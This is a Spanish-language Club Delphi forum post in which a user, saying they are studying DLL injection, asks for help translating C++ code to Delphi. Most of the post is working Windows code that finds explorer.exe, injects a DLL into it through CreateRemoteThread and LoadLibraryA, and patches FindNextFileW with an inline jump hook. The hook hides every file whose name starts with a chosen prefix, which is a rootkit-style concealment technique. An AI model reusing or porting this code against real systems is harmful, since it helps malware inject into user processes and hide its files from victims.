Club Delphi  
    Paypal   FTP   CCD     Buscar   Trucos   Trabajo   Foros

Retroceder   Foros Club Delphi > Otros entornos y lenguajes > C++ Builder
Registrarse FAQ Miembros Calendario Guía de estilo Buscar Temas de Hoy Marcar Foros Como Leídos

Respuesta
 
Herramientas Buscar en Tema Desplegado
  #1  
Antiguo 04-06-2015
angelp4492 angelp4492 is offline
Miembro
 
Registrado: dic 2007
Posts: 99
Poder: 0
angelp4492 cantidad desconocida en este momento
Traducir código C++ a Delphi

Hola estoy intentando estudiando las inyecciones dell en delphi y tenco este code en c++
Código PHP:
#include
#include
void main() 
{ 
  
HANDLE proceso; 
  
LPVOID RemoteString; 
  
LPVOID nLoadLibrary; 
  
int pid;  
  
// OBTENEMOS EL PID DEL PROCESO 
  // (Si quieren información sobre estas APIs miren la ayuda de microsoft)  
  
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 
  
PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };  
  
//Aquí empezamos a recorrer todos los procesos que están abiertos 
  
while(Process32Next(handle, &procinfo)) 
  {
    if(!
strcmp(procinfo.szExeFile, "explorer.exe"))
    
//comparamos los nombres 
    
{ 
      
CloseHandle(handle); 
      
pid = procinfo.th32ProcessID;
      
//guardamos el PID 
    
} 
  }
 
  
CloseHandle(handle);  
  
// INYECTAMOS LA DLL 
  // (en mi caso se encuentra en H:\Dll.dll, ustedes cámbienlo)
  
proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid); 
  
nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"); 
  
RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen("H:\\Dll.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); 
  
WriteProcessMemory(proceso,(LPVOID)RemoteString,"H:\\Dll.dll",strlen("H:\\Dll.dll"),NULL); 
  
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL); 
  
CloseHandle(proceso); 
} 
esta parte ya la he traducido

pero me falta esta
Código PHP:
void Hookear() 
{ 
  
DWORD ProteVieja; 
  
// Parametro para VirtualProtect 
  
BYTE *DirFN; 
  
// La dirección en memoria de FindNextFileW 
  
BYTE *DirYoFN; 
  
// La dirección en memoria de la función que remplaza a FindNextFileW  
  // –> HOOKEAMOS FINDNEXTFILEW (7 bytes)  
  // Obtenemos la dirección en memoria de FindNextFileW. 
  
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW"); 
  
//Reservamos 12 bytes de memoria para nuestro Buffer 
  //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D 
  
BufferFN=(BYTE *) malloc (12);  
  
//Le damos todos los permisos a los 12 bytes de nuestro Buffer 
  
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);  
  
// Copiamos los 7 primeros bytes del api en el buffer 
  
memcpy(BufferFN,DirFN,7); BufferFN += 7;  
  
// En los 5 bytes restantes… 
  // En el primero introducimos un jmp 
  
*BufferFN=0xE9; 
  
//0xE9 es el codigo de operacion del jmp BufferFN++; 
  // En los otros 4 la distancia del salto 
  
*((signed int *) BufferFN)= DirFN - BufferFN + 3;
  
// Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original 
  
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8); 
  
// Le damos todos los permisos a los 5 primeros bytes de la api original 
  
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja); 
  
// Cambiamos el tipo a puntero a byte para facilitar el trabajo 
  
DirYoFN=(BYTE *) miFindNextFileW;
  
// En el inicio de la api metemos un jmp para que salte a miFindNextFileW 
  
*DirFN=0xE9; 
  
DirFN++;  
  
// Metemos la distancia del salto 
  
*((signed int *) DirFN) = DirYoFN - DirFN - 4; 
  
// Libermos librerias de cache 
  
FlushInstructionCache(GetCurrentProcess(),NULL,NULL); } 
Código PHP:
HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{ 
  
// Ocultamos los archivos que empiecen por el prefijo indicado  
  
HANDLE hand; 
  
char ascStr[611];  
  do
  {
    
hand = pBuffFN(hFindFile,lpFindFileData); 
    
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);  
  }
  while (
strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);  
  return 
hand; 
} 
alguien me echa una mano

Última edición por nlsgarcia fecha: 04-06-2015 a las 18:49:32. Razón: Sintaxis y Formateo de Código en C++
Responder Con Cita
Respuesta


Herramientas Buscar en Tema
Buscar en Tema:

Búsqueda Avanzada
Desplegado

Normas de Publicación
no Puedes crear nuevos temas
no Puedes responder a temas
no Puedes adjuntar archivos
no Puedes editar tus mensajes

El código vB está habilitado
Las caritas están habilitado
Código [IMG] está habilitado
Código HTML está deshabilitado
Saltar a Foro

Temas Similares
Tema Autor Foro Respuestas Último mensaje
Ayuda para traducir código delphi a c++ builder mordaz C++ Builder 0 07-05-2014 10:51:50
Ayuda para traducir código PHP a Delphi FideRosado Varios 2 19-10-2013 15:28:51
Traducir código delphi a vb monaguillo Varios 2 08-12-2007 11:32:42
No se traducir un codigo VB rafa_adrim OOP 4 24-10-2006 02:24:02
Traducir un codigo de VB a Delphi ¡¡¡¡ Por favor !!!! Betsa23 Internet 2 30-11-2004 16:29:35


La franja horaria es GMT +2. Ahora son las 08:19:21.


Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi
Copyright 1996-2007 Club Delphi